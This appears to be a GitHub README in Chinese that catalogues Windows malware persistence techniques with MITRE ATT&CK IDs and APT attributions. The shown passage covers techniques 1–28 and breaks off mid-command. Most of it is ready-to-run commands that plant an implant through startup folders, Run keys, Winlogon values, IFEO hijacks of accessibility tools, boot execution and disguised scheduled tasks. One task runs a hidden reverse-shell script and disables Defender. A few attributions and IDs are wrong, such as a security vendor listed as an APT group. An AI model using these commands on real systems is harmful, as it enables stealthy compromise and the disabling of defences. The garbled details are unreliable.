manikandantn68/malware-persistence-windows-os

GitHub: manikandantn68/malware-persistence-windows-os

系统整理了 67 种 Windows 恶意软件持久化技术的实操参考手册,涵盖从无权限到管理员权限的各类手法,每种技术均包含 MITRE ATT&CK 映射、APT 归因、攻击与清理命令。

Stars: 0 | Forks: 0

# Windows 持久化技术 — 完整参考 ## 快速索引 | # | 技术 | 管理员权限 | MITRE TTP | ATT&CK ID | |---|-----------|:-----:|-----------|-----------| | 1 | 启动文件夹 — EXE 复制 | ❌ | 启动或登录自动执行: 启动文件夹 | T1547.001 | | 2 | 启动文件夹 — LNK 快捷方式 | ❌ | 启动或登录自动执行: 启动文件夹 | T1547.001 | | 3 | 所有用户启动文件夹 | ✅ | 启动或登录自动执行: 启动文件夹 | T1547.001 | | 4 | 计划任务 (schtasks 基础) | ❌ | 计划任务/作业: 计划任务 | T1053.005 | | 5 | 计划任务 XML — 单一操作 | ❌ | 计划任务/作业: 计划任务 | T1053.005 | | 6 | 计划任务 XML — 多重操作 | ❌ | 计划任务/作业: 计划任务 | T1053.005 | | 7 | At.exe 遗留计划任务程序 | ❌ | 计划任务/作业: At | T1053.002 | | 8 | 注册表 Run 键 | ❌ | 启动或登录自动执行: 注册表 Run 键 | T1547.001 | | 9 | Explorer 策略 Run 键 | ❌ | 启动或登录自动执行: 注册表 Run 键 | T1547.001 | | 10 | Explorer Load 键 | ❌ | 启动或登录自动执行: 注册表 Run 键 | T1547.001 | | 11 | CMD AutoRun | ❌ | 启动或登录自动执行: 注册表 Run 键 | T1547.001 | | 12 | 环境变量 | ❌ | 修改注册表 | T1112 | | 13 | 登录脚本 (UserInitMprLogonScript) | ❌ | 启动或登录初始化脚本: 登录脚本 | T1037.001 | | 14 | 登录 BAT 脚本 | ❌ | 启动或登录初始化脚本: 登录脚本 | T1037.001 | | 15 | StartupApproved 绕过 | ❌ | 启动或登录自动执行: 启动文件夹 | T1547.001 | | 16 | IFEO 调试器劫持 | ✅ | 事件触发执行: IFEO 注入 | T1546.012 | | 17 | SilentProcessExit | ✅ | 事件触发执行: IFEO 注入 | T1546.012 | | 18 | Userinit 劫持 | ✅ | 启动或登录自动执行: Winlogon Helper DLL | T1547.004 | | 19 | Shell 劫持 | ✅ | 启动或登录自动执行: Winlogon Helper DLL | T1547.004 | | 20 | Winlogon MPNotify | ✅ | 启动或登录自动执行: Winlogon Helper DLL | T1547.004 | | 21 | Active Setup | ✅ | 启动或登录自动执行: Active Setup | T1547.014 | | 22 | 启动执行 | ✅ | 操作系统预启动: Bootkit (会话管理器) | T1542.003 | | 23 | 终端服务器初始程序 (RDP) | ✅ | 远程服务: 远程桌面协议 | T1021.001 | | 24 | 辅助功能劫持 (sethc / utilman) | ✅ | 事件触发执行: 辅助功能 | T1546.008 | | 25 | 屏幕保护程序 (SCRNSAVE.EXE) | ❌ | 事件触发执行: 屏幕保护程序 | T1546.002 | | 26 | 屏幕保护程序路径劫持 | ❌ | 事件触发执行: 屏幕保护程序 | T1546.002 | | 27 | Shell Open Command 劫持 | ❌ | 事件触发执行: 更改默认文件关联 | T1546.001 | | 28 | PATH 劫持 | ❌ | 劫持执行流: 路径拦截 | T1574.007 | | 29 | 快捷方式劫持 | ❌ | 启动或登录自动执行: 快捷方式修改 | T1547.009 | | 30 | 回收站持久化 | ❌ | 启动或登录自动执行: 注册表 Run 键 | T1547.001 | | 31 | PowerShell 配置文件 | ❌ | 事件触发执行: PowerShell 配置文件 | T1546.013 | | 32 | 新建服务 | ✅ | 创建或修改系统进程: Windows 服务 | T1543.003 | | 33 | 修改现有服务 | ✅ | 创建或修改系统进程: Windows 服务 | T1543.003 | | 34 | 服务故障恢复 | ✅ | 创建或修改系统进程: Windows 服务 | T1543.003 | | 35 | BITS 任务持久化 | ❌ | BITS 作业 | T1197 | | 36 | 磁盘清理 COM 处理程序 | ❌ | 事件触发执行: 组件对象模型劫持 | T1546.015 | | 37 | Windows 错误报告 | ✅ | 事件触发执行: IFEO 注入 | T1546.012 | | 38 | 应用程序 Shim (AppCompat) | ✅ | 事件触发执行: 应用程序 Shimming | T1546.011 | | 39 | WMI 事件订阅 | ✅ | 事件触发执行: WMI 事件订阅 | T1546.003 | | 40 | 隐藏用户帐户 | ✅ | 创建帐户: 本地帐户 | T1136.001 | | 41 | fodhelper UAC 绕过 | ❌ | 滥用提权控制机制: 绕过 UAC | T1548.002 | | 42 | WSL 持久化 | ❌ | 命令和脚本解释器: Unix Shell | T1059.004 | | 43 | DPAPI CurrentUser 注册表 | ❌ | 混淆文件或信息: 加密/编码文件 | T1027.013 | | 44 | DPAPI Machine 范围 | ✅ | 混淆文件或信息: 加密/编码文件 | T1027.013 | | 45 | AES 加密注册表加载器 | ❌ | 混淆文件或信息: 加密/编码文件 | T1027.013 | | 46 | XOR 混淆 + DPAPI + RunKey | ❌ | 混淆文件或信息 + 注册表 Run 键 | T1027 + T1547.001 | | **— 基于 DLL 的技术 —** | | | | | | 47 | AppInit_DLLs | ✅ | 事件触发执行: AppInit DLLs | T1546.010 | | 48 | COM DLL 劫持 (HKCU 覆盖) | ❌ | 事件触发执行: COM 对象劫持 | T1546.015 | | 49 | 服务 DLL — svchost.exe | ✅ | 创建或修改系统进程: Windows 服务 | T1543.003 | | 50 | Winlogon 通知包 DLL | ✅ | 启动或登录自动执行: Winlogon Helper DLL | T1547.004 | | 51 | LSA 安全支持提供程序 (SSP) DLL | ✅ | 启动或登录自动执行: 安全支持提供程序 | T1547.005 | | 52 | rundll32 + RunKey (反射式 DLL) | ❌ | 启动或登录自动执行: 注册表 Run 键 | T1547.001 | | 53 | 计划任务 — rundll32 DLL | ❌ | 计划任务/作业: 计划任务 | T1053.005 | | 54 | 幽灵 DLL 劫持 | ❌ | 劫持执行流: DLL 搜索顺序劫持 | T1574.001 | | 55 | .NET Profiler DLL (COR_PROFILER) | ❌ | 劫持执行流: COR_PROFILER | T1574.012 | | 56 | ETW Provider 劫持 DLL | ✅ | 劫持执行流 | T1574 | | 57 | AMSI Provider DLL | ✅ | 削弱防御: 禁用或修改工具 | T1562.001 | | 58 | 打印处理器 DLL | ✅ | 启动或登录自动执行: 打印处理器 | T1547.012 | | 59 | Winsock LSP DLL | ❌ | 劫持执行流 | T1574 | | 60 | netsh Helper DLL | ✅ | 劫持执行流: DLL 搜索顺序劫持 | T1574.001 | | 61 | WMI Provider DLL | ✅ | 事件触发执行: WMI 事件订阅 | T1546.003 | | 62 | 网络提供程序 DLL | ✅ | 修改身份验证过程: 网络提供程序 DLL | T1556.008 | | 63 | 密码过滤器 DLL (SAM) | ✅ | 修改身份验证过程: 密码过滤器 DLL | T1556.002 | | 64 | WinRT DLL 激活 (HKCU) | ❌ | 劫持执行流: DLL 侧加载 | T1574.002 | | 65 | 凭据提供程序 DLL | ✅ | 启动或登录自动执行: Winlogon Helper DLL | T1547.004 | | 66 | Shell 扩展 DLL (上下文菜单) | ❌ | 劫持执行流: DLL 搜索顺序劫持 | T1574.001 | | 67 | DiagTrack DLL 劫持 | ❌ | 劫持执行流: DLL 侧加载 | T1574.002 | ## 按技术分类的已知 APT 组织 | 技术 / TTP | 已知 APT 组织 | |-----------------|-----------------| | 启动文件夹 (T1547.001) | APT29 (Cozy Bear), APT32 (OceanLotus), Lazarus Group, FIN7 | | 注册表 Run 键 (T1547.001) | APT28 (Fancy Bear), Turla, Kimsuky, Carbanak | | 计划任务 (T1053.005) | APT41, Lazarus Group, FIN6, Cobalt Group | | 登录脚本 (T1037.001) | APT3, APT29 | | IFEO 调试器劫持 (T1546.012) | Turla, APT3 | | Winlogon Helper DLL (T1547.004) | APT28, Turla, PLATINUM | | Active Setup (T1547.014) | APT29 | | 辅助功能劫持 (T1546.008) | APT3, APT28, CyberArk | | 屏幕保护程序 (T1546.002) | APT28, OilRig | | Shell Open Command 劫持 (T1546.001) | Patchwork, Turla | | 路径拦截 (T1574.007) | APT41, PowerGhost | | PowerShell 配置文件 (T1546.013) | APT29, Turla | | Windows 服务 (T1543.003) | APT28, Lazarus Group, FIN7, Carbanak | | BITS 作业 (T1197) | APT41, APT28, FIN7, BRONZE BUTLER | | COM 劫持 (T1546.015) | APT28, Turla, BRONZE BUTLER | | 应用程序 Shimming (T1546.011) | CarbonSpider, FIN7 | | WMI 事件订阅 (T1546.003) | APT29, APT33, Lazarus Group, Turla | | 创建帐户 (T1136.001) | APT33, OilRig, Lazarus Group | | UAC 绕过 (T1548.002) | APT29, APT41, Turla | | 混淆 (T1027) | APT28, APT29, Lazarus Group, APT41 | | AppInit DLLs (T1546.010) | Turla, APT29 | | 安全支持提供程序 (T1547.005) | Turla, APT28, PLATINUM | | DLL 搜索顺序劫持 (T1574.001) | APT41, Lazarus Group, Turla | | COR_PROFILER (T1574.012) | Lazarus Group, Turla | | 打印处理器 (T154.012) | Lazarus Group, APT28 | | 网络提供程序 DLL (T1556.008) | APT28, Lazarus Group | | 密码过滤器 DLL (T1556.002) | APT28, Lazarus Group | | DLL 侧加载 (T1574.002) | APT41, Lazarus Group, APT29 | ## 1. 启动文件夹 — EXE 复制 **TTP:** T1547.001 | **管理员权限:** ❌ | **APT:** APT29, APT32, Lazarus Group, FIN7 Windows 启动文件夹 = PC 开机时的自动运行列表。放置在其中的任何程序都会自动启动 —— 无需手动打开。就像你的电脑每天早上都会遵循的“待办事项列表”。 ``` # 将 implant 复制到当前用户 Startup copy {path} "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup" # 验证 dir "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\" Get-ChildItem "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\" | Select Name, LastWriteTime # 通过 WMI 列出(相当于 Autoruns) Get-CimInstance Win32_StartupCommand | Select Name, Command, Location, User # WMIC(旧版) wmic startup get caption,command # 清理 del "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\{filename}" ``` **注册表路径:** `C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup` **快速访问:** `Win+R` → `shell:startup` ## 2. 启动文件夹 — LNK 快捷方式 **TTP:** T1547.001 | **管理员权限:** ❌ | **APT:** APT29, Lazarus Group 投放一个 `.lnk` (快捷方式) 而不是 EXE —— 更难被检测,图标能伪装成正常程序。 ``` $WS = New-Object -ComObject WScript.Shell $SC = $WS.CreateShortcut("$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\upd.lnk") $SC.TargetPath = "{path}" $SC.Save() # 验证 dir "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\" # 清理 Remove-Item "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\upd.lnk" ``` ## 3. 所有用户启动文件夹 **TTP:** T1547.001 | **管理员权限:** ✅ | **APT:** APT29, FIN7 影响机器上的每个用户 —— 任何登录都会触发。 ``` # All Users 路径 copy "{path}" "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\" # 快速访问: Win+R → shell:common startup # 验证 dir "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\" ``` ## 4. 计划任务 (schtasks — 基础) **TTP:** T1053.005 | **管理员权限:** ❌ | **APT:** APT41, Lazarus Group, FIN6 计划任务 = PC 的程序闹钟。设置“在此时间/事件运行此程序” —— PC 会自动完成。比启动文件夹更难发现。 ``` # 创建每日任务 schtasks /create /tn "DemoTasks\OpenCalc" /sc daily /st 10:00 /tr "{path}" # 枚举所有任务 schtasks /query /fo LIST /V # 特定任务 schtasks /query /tn "DemoTasks\OpenCalc" /fo LIST /v # CSV 导出 schtasks /query /fo CSV /v > tasks.csv # 筛选运行中的任务 schtasks /query /fo TABLE | findstr "Running" # 筛选 SYSTEM 任务 schtasks /query /fo LIST /v | findstr /i "system" # 清理 schtasks /delete /tn "DemoTasks\OpenCalc" /f ``` ``` # PowerShell 枚举 Get-ScheduledTask Get-ScheduledTask | Select TaskName, TaskPath, State Get-ScheduledTask -TaskName "WindowsUpdate" | Get-ScheduledTaskInfo Get-ScheduledTask | Select TaskName, @{N="Execute";E={$_.Actions.Execute}} Get-ScheduledTask | Where-Object {$_.State -eq "Ready"} Get-ScheduledTask | Where-Object {$_.Principal.UserId -eq "SYSTEM"} Get-ScheduledTask | ConvertTo-Json -Depth 5 > tasks.json Get-ScheduledTask -TaskPath "\Microsoft\Windows\" # 仅限非 Microsoft 任务(威胁狩猎) Get-ScheduledTask | Where-Object { $_.TaskPath -notlike "\Microsoft*" } | Format-Table TaskName, TaskPath, State # Registry 位置 # HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks # HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree ``` ## 5. 计划任务 XML — 单一操作 **TTP:** T1053.005 | **管理员权限:** ❌ | **APT:** APT41, Lazarus Group 基于 XML 的任务伪装成合法的 Adobe 服务,带有登录和开机触发器。 ``` # 步骤 1:创建 XML @" Microsoft Corporation Adobe Flash Sync Service \AdobeFlashSync true true $env:COMPUTERNAME\$env:USERNAME InteractiveToken HighestAvailable IgnoreNew false false false true true false false PT0S 7 {path} "@ | Out-File "task.xml" -Encoding Unicode # 步骤 2:注册 schtasks /create /tn "AdobeFlashSync" /xml "task.xml" /f # 步骤 3:验证 schtasks /query /tn "AdobeFlashSync" /fo LIST /v schtasks /query /tn "AdobeFlashSync" /xml # 步骤 4:手动触发测试 schtasks /run /tn "AdobeFlashSync" # 步骤 5:清理 schtasks /delete /tn "AdobeFlashSync" /f ``` **XML 任务文件位置:** `C:\Windows\System32\Tasks\` ``` # 枚举任务 XML Get-ChildItem "C:\Windows\System32\Tasks\" -Recurse Get-Content "C:\Windows\System32\Tasks\DemoTasks\OpenCalc" # 仅限非 Microsoft Get-ChildItem "C:\Windows\System32\Tasks\" -Recurse | Where-Object { $_.FullName -notlike "*Microsoft*" } # 非 MS 任务的完整内容 Get-ChildItem "C:\Windows\System32\Tasks\" -Recurse -File | Where-Object { $_.FullName -notlike "*Microsoft*" } | ForEach-Object { Write-Host "=== $($_.Name) ===" -ForegroundColor Green Get-Content $_.FullName } ``` ## 6. 计划任务 XML — 多重操作 **TTP:** T1053.005 | **管理员权限:** ❌ | **APT:** APT41, Cobalt Group 多重操作任务:运行植入程序、启动 PowerShell 反向 shell、复制到启动文件夹、添加 Run 键、禁用 Defender —— 全部在一个触发器中完成。 ``` @" Microsoft Corporation Windows Defender Sync Service \WindowsDefenderSync true true PT5M false 2026-01-01T00:00:00 true 1 $env:COMPUTERNAME\$env:USERNAME InteractiveToken HighestAvailable IgnoreNew false false false true true false false PT0S 7 {path} powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -File C:\path\to\shell.ps1 cmd.exe /c copy {path} "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\svchost32.exe" reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WinDefSync" /t REG_SZ /d "{path}" /f powershell.exe -WindowStyle Hidden -Command "Set-MpPreference -DisableRealtimeMonitoring $true" "@ | Out-File "multitask.xml" -Encoding Unicode # 注册 schtasks /create /tn "WindowsDefenderSync" /xml "multitask.xml" /f # 验证 schtasks /query /tn "WindowsDefenderSync" /fo LIST /v schtasks /query /tn "WindowsDefenderSync" /xml # 手动触发 schtasks /run /tn "WindowsDefenderSync" # 清理 schtasks /delete /tn "WindowsDefenderSync" /f ``` ## 7. At.exe 遗留计划任务程序 **TTP:** T1053.002 | **管理员权限:** ❌ | **APT:** APT28, 较老威胁行为者 遗留的 Windows 计划任务程序 —— 已被弃用,但在旧系统上仍然存在。 ``` # 计划在特定时间运行 at 10:00 /every:M,T,W,Th,F "{path}" # 列出 at # 全部删除 at /delete /yes ``` ## 8. 注册表 Run 键 **TTP:** T1547.001 | **管理员权限:** ❌ | **APT:** APT28, Turla, Kimsuky, Carbanak 经典持久化技术 —— 每次用户登录时运行 EXE。HKCU 不需要管理员权限。 ``` # 添加 Run 键 reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v "MSUpdate" /t REG_SZ /d "{path}" /f # 验证 reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v MSUpdate # 同时检查 RunOnce reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" # 机器范围(需要管理员权限) reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "MSUpdate" /t REG_SZ /d "{path}" /f # 清理 reg delete "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v MSUpdate /f ``` ## 9. Explorer 策略 Run 键 **TTP:** T1547.001 | **管理员权限:** ❌ | **APT:** APT28, Turla 替代的 Run 键路径 —— 通常会被基础的 AV 扫描忽略。 ``` # 在 Explorer 策略下添加(较少受监控) reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "MSUpdate" /t REG_SZ /d "{path}" /f # 验证 reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" # 清理 reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v MSUpdate /f ``` ## 10. Explorer Load 键 **TTP:** T1547.001 | **管理员权限:** ❌ | **APT:** Turla, BRONZE BUTLER 通过 Windows 下的 `Load` 值加载 DLL/EXE —— 在 Explorer 启动时运行。 ``` reg add "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows" /v Load /t REG_SZ /d "{path}" /f # 验证 reg query "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows" /v Load # 清理 reg delete "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows" /v Load /f ``` ## 11. CMD AutoRun **TTP:** T1547.001 | **管理员权限:** ❌ | **APT:** Turla, FIN7 每次打开 `cmd.exe` 时都会运行 EXE —— 在所有 CMD 会话中持久存在。 ``` # 添加 AutoRun reg add "HKCU\Software\Microsoft\Command Processor" /v AutoRun /t REG_SZ /d "{path}" /f # 验证 reg query "HKCU\Software\Microsoft\Command Processor" /v AutoRun # 清理 reg delete "HKCU\Software\Microsoft\Command Processor" /v AutoRun /f ``` ## 12. 环境变量 **TTP:** T1112 | **管理员权限:** ❌ | **APT:** OilRig, APT28 修改用户环境 —— 可被滥用于重定向程序执行。 ``` reg add "HKEY_CURRENT_USER\Environment" /v DemoApp /t REG_SZ /d "{path}" /f # 清理 REG DELETE "HKEY_CURRENT_USER\Environment" /v DemoApp /f ``` ## 13. 登录脚本 (UserInitMprLogonScript) **TTP:** T1037.001 | **管理员权限:** ❌ | **APT:** APT3, APT29, Lazarus Group 通过 `UserInitMprLogonScript` 环境变量在登录时运行 —— 不需要管理员权限。 ``` # 添加登录脚本 reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "{path}" /f # 验证 reg query "HKCU\Environment" /v UserInitMprLogonScript # 清理 reg delete "HKCU\Environment" /v UserInitMprLogonScript /f ``` ## 14. 登录 BAT 脚本 **TTP:** T1037.001 | **管理员权限:** ❌ | **APT:** APT3, Kimsuky 通过 `.bat` 文件进行路由,增加额外的混淆层。 ``` # 步骤 1:创建 BAT echo {path} > C:\ProgramData\logon.bat # 步骤 2:设置登录脚本 reg add "HKCU\Environment" /v UserInitMprLogonScript /t REG_SZ /d "C:\ProgramData\logon.bat" /f # 步骤 3:验证 type C:\ProgramData\logon.bat reg query "HKCU\Environment" /v UserInitMprLogonScript # 步骤 4:清理 reg delete "HKCU\Environment" /v UserInitMprLogonScript /f del C:\ProgramData\logon.bat ``` ## 15. StartupApproved 绕过 **TTP:** T1547.001 | **管理员权限:** ❌ | **APT:** FIN7 Windows 10+ 在 `StartupApproved` 中跟踪已启用/禁用的启动项。绕过此机制可以隐藏启动项。 ``` # 添加到 Startup 文件夹 copy "{path}" "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\update.exe" # 设置 StartupApproved 为“enabled”(02 = 启用,03 = 禁用) $val = [byte[]](0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00) Set-ItemProperty "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\StartupFolder" ` -Name "update.exe" -Value $val -Type Binary # 验证 Get-ItemProperty "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\StartupFolder" # 清理 Remove-Item "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\update.exe" Remove-ItemProperty "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\StartupFolder" -Name "update.exe" ``` ## 16. IFEO 调试器劫持 **TTP:** T1546.012 | **管理员权限:** ✅ | **APT:** Turla, APT3, PLATINUM 映像文件执行选项 —— 运行植入程序而不是 (或先于) 目标进程。在启动被劫持的 EXE 时触发。 ``` # 每次 notepad.exe 启动时运行 implant reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v Debugger /t REG_SZ /d "{path}" /f # 验证 reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" # 清理 reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /f ``` ## 17. SilentProcessExit **TTP:** T1546.012 | **管理员权限:** ✅ | **APT:** Turla, APT3 当被监视的进程**退出**时触发植入程序 (而不是启动时) —— 不同于标准 IFEO 的触发器。 ``` # 当 notepad.exe 退出时 → 触发 implant reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /t REG_SZ /d "{path}" /f reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1 /f # 在目标进程上启用 global flag reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512 /f # 触发:打开并关闭 notepad → payload 触发 # 验证 reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" # 清理 reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /f reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /f ``` ## 18. Userinit 劫持 **TTP:** T1547.004 | **管理员权限:** ✅ | **APT:** APT28, Turla, PLATINUM 将植入程序附加到 `Userinit` —— 在每次用户登录时与 `userinit.exe` 一起触发。 ``` reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /t REG_SZ /d "C:\Windows\system32\userinit.exe,{path}" /f # 验证 reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit # 恢复默认 reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /t REG_SZ /d "C:\Windows\system32\userinit.exe," /f ``` ## 19. Shell 劫持 **TTP:** T1547.004 | **管理员权限:** ✅ | **APT:** APT28, Turla 替换或附加到 `Shell` 值 —— 登录时与 `explorer.exe` 一起运行。 ``` reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe,{path}" /f # 验证 reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell # 恢复 reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe" /f ``` ## 20. Winlogon MPNotify **TTP:** T1547.004 | **管理员权限:** ✅ | **APT:** APT28, PLATINUM `mpnotify` 在成功登录后运行 —— 比 Userinit/Shell 受到的监视更少。 ``` reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v mpnotify /t REG_SZ /d "{path}" /f # 验证 reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v mpnotify # 清理 reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v mpnotify /f ``` ## 21. Active Setup **TTP:** T1547.014 | **管理员权限:** ✅ | **APT:** APT29 在登录时为每个用户运行一次 —— 使用伪造的 GUID 组件。在登录的每个新用户触发。 ``` # 创建组件 reg add "HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components\{EVIL001}" /v StubPath /t REG_SZ /d "{path}" /f reg add "HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components\{EVIL001}" /v Version /t REG_SZ /d "1,0,0,0" /f # 验证 reg query "HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components\{EVIL001}" # 清理 reg delete "HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components\{EVIL001}" /f ``` ## 22. 启动执行 **TTP:** T1542.003 | **管理员权限:** ✅ | **APT:** 高级国家级行为者 在 Windows 完全加载之前运行 —— 早期启动持久化。极其隐蔽。 ``` # 添加到 BootExecute(多字符串) reg add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager" /v BootExecute /t REG_MULTI_SZ /d "autocheck autochk *\0{path}" /f # 恢复默认 reg add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager" /v BootExecute /t REG_MULTI_SZ /d "autocheck autochk *" /f ``` ## 23. 终端服务器初始程序 (RDP) **TTP:** T1021.001 | **管理员权限:** ✅ | **APT:** APT33, OilRig, Lazarus Group 在每次 RDP 登录时触发植入程序 —— 专门针对远程桌面会话。 ``` reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v InitialProgram /t REG_SZ /d "{path}" /f # 验证 reg query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v InitialProgram # 清理 reg delete "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v InitialProgram /f ``` ## 24. 辅助功能劫持 (sethc / utilman) **TTP:** T1546.008 | **管理员权限:** ✅ | **APT:** APT3, APT28, CyberArk 劫持锁屏界面上的粘滞键 (`Shift×5`) 或轻松使用 (`Win+U`) —— 在身份验证**之前**的登录屏幕触发。 ``` # sethc.exe = 粘滞键(按 Shift 5 次) reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "{path}" /f # utilman.exe = 锁屏界面按 Win+U reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" /v Debugger /t REG_SZ /d "{path}" /f # 验证 reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" # 清理 reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" /f ``` ## 25. 屏幕保护程序 (SCRNSAVE.EXE) **TTP:** T1546.002 | **管理员权限:** ❌ | **APT:** APT28, OilRig 将屏幕保护程序指向植入程序 —— 在空闲超时后触发 (在此配置中为 10 秒)。 ``` # 将屏幕保护程序设置为 implant reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v "SCRNSAVE.EXE" /t REG_SZ /d "{path}" /f reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v "ScreenSaveTimeOut" /t REG_SZ /d "10" /f # 验证 reg query "HKCU\Control Panel\Desktop" /v SCRNSAVE.EXE reg query "HKCU\Control Panel\Desktop" /v ScreenSaveTimeOut reg query "HKCU\Control Panel\Desktop" /v ScreenSaveActive # 恢复 reg add "HKCU\Control Panel\Desktop" /v "SCRNSAVE.EXE" /t REG_SZ /d "" /f reg add "HKCU\Control Panel\Desktop" /v "ScreenSaveTimeOut" /t REG_SZ /d "900" /f reg add "HKCU\Control Panel\Desktop" /v "ScreenSaveActive" /t REG_SZ /d "0" /f ``` ## 26. 屏幕保护程序路径劫持 **TTP:** T1546.002 | **管理员权限:** ❌ | **APT:** APT28, OilRig 投放重命名为 `.scr` 的植入程序到用户可写路径,然后将注册表指向它。 ``` # 释放 implant 为 .scr copy "{path}" "%APPDATA%\scrnsave.scr" # 指向 registry reg add "HKCU\Control Panel\Desktop" /v SCRNSAVE.EXE /t REG_SZ /d "%APPDATA%\scrnsave.scr" /f reg add "HKCU\Control Panel\Desktop" /v ScreenSaveTimeOut /t REG_SZ /d "10" /f reg add "HKCU\Control Panel\Desktop" /v ScreenSaveActive /t REG_SZ /d "1" /f # 验证 reg query "HKCU\Control Panel\Desktop" /v SCRNSAVE.EXE # 清理 reg delete "HKCU\Control Panel\Desktop" /v SCRNSAVE.EXE /f del "%APPDATA%\scrnsave.scr" ``` ## 27. Shell Open Command 劫持 **TTP:** T1546.001 | **管理员权限:** ❌ | **APT:** Patchwork, Turla 覆盖 `.txt` 的文件关联处理程序 —— 每次打开文本文件时都会运行植入程序。 ``` reg add "HKCU\Software\Classes\txtfile\shell\open\command" /ve /t REG_SZ /d "{path} %1" /f # 验证 reg query "HKCU\Software\Classes\txtfile\shell\open\command" # 清理 reg delete "HKCU\Software\Classes\txtfile" /f ``` ## 28. PATH 劫持 **TTP:** T1574.007 | **管理员权限:** ❌ | **APT:** APT41, PowerGhost 将带有常见工具名称的植入程序投放到用户可写的 PATH 位置。Windows 从左到右搜索 PATH —— 植入程序会首先被触发。 ``` # 检查用户可写的 PATH 位置 $env:PATH -split ";" # 常见可写路径:C:\Users\\AppData\Local\Microsoft\WindowsApps copy "{path}" "$env:LOCALAPPDATA\Microsoft\WindowsApps\python.exe" copy "{path}" "$env:LOCALAPPDATA\Microsoft\WindowsApps\git.exe" copy 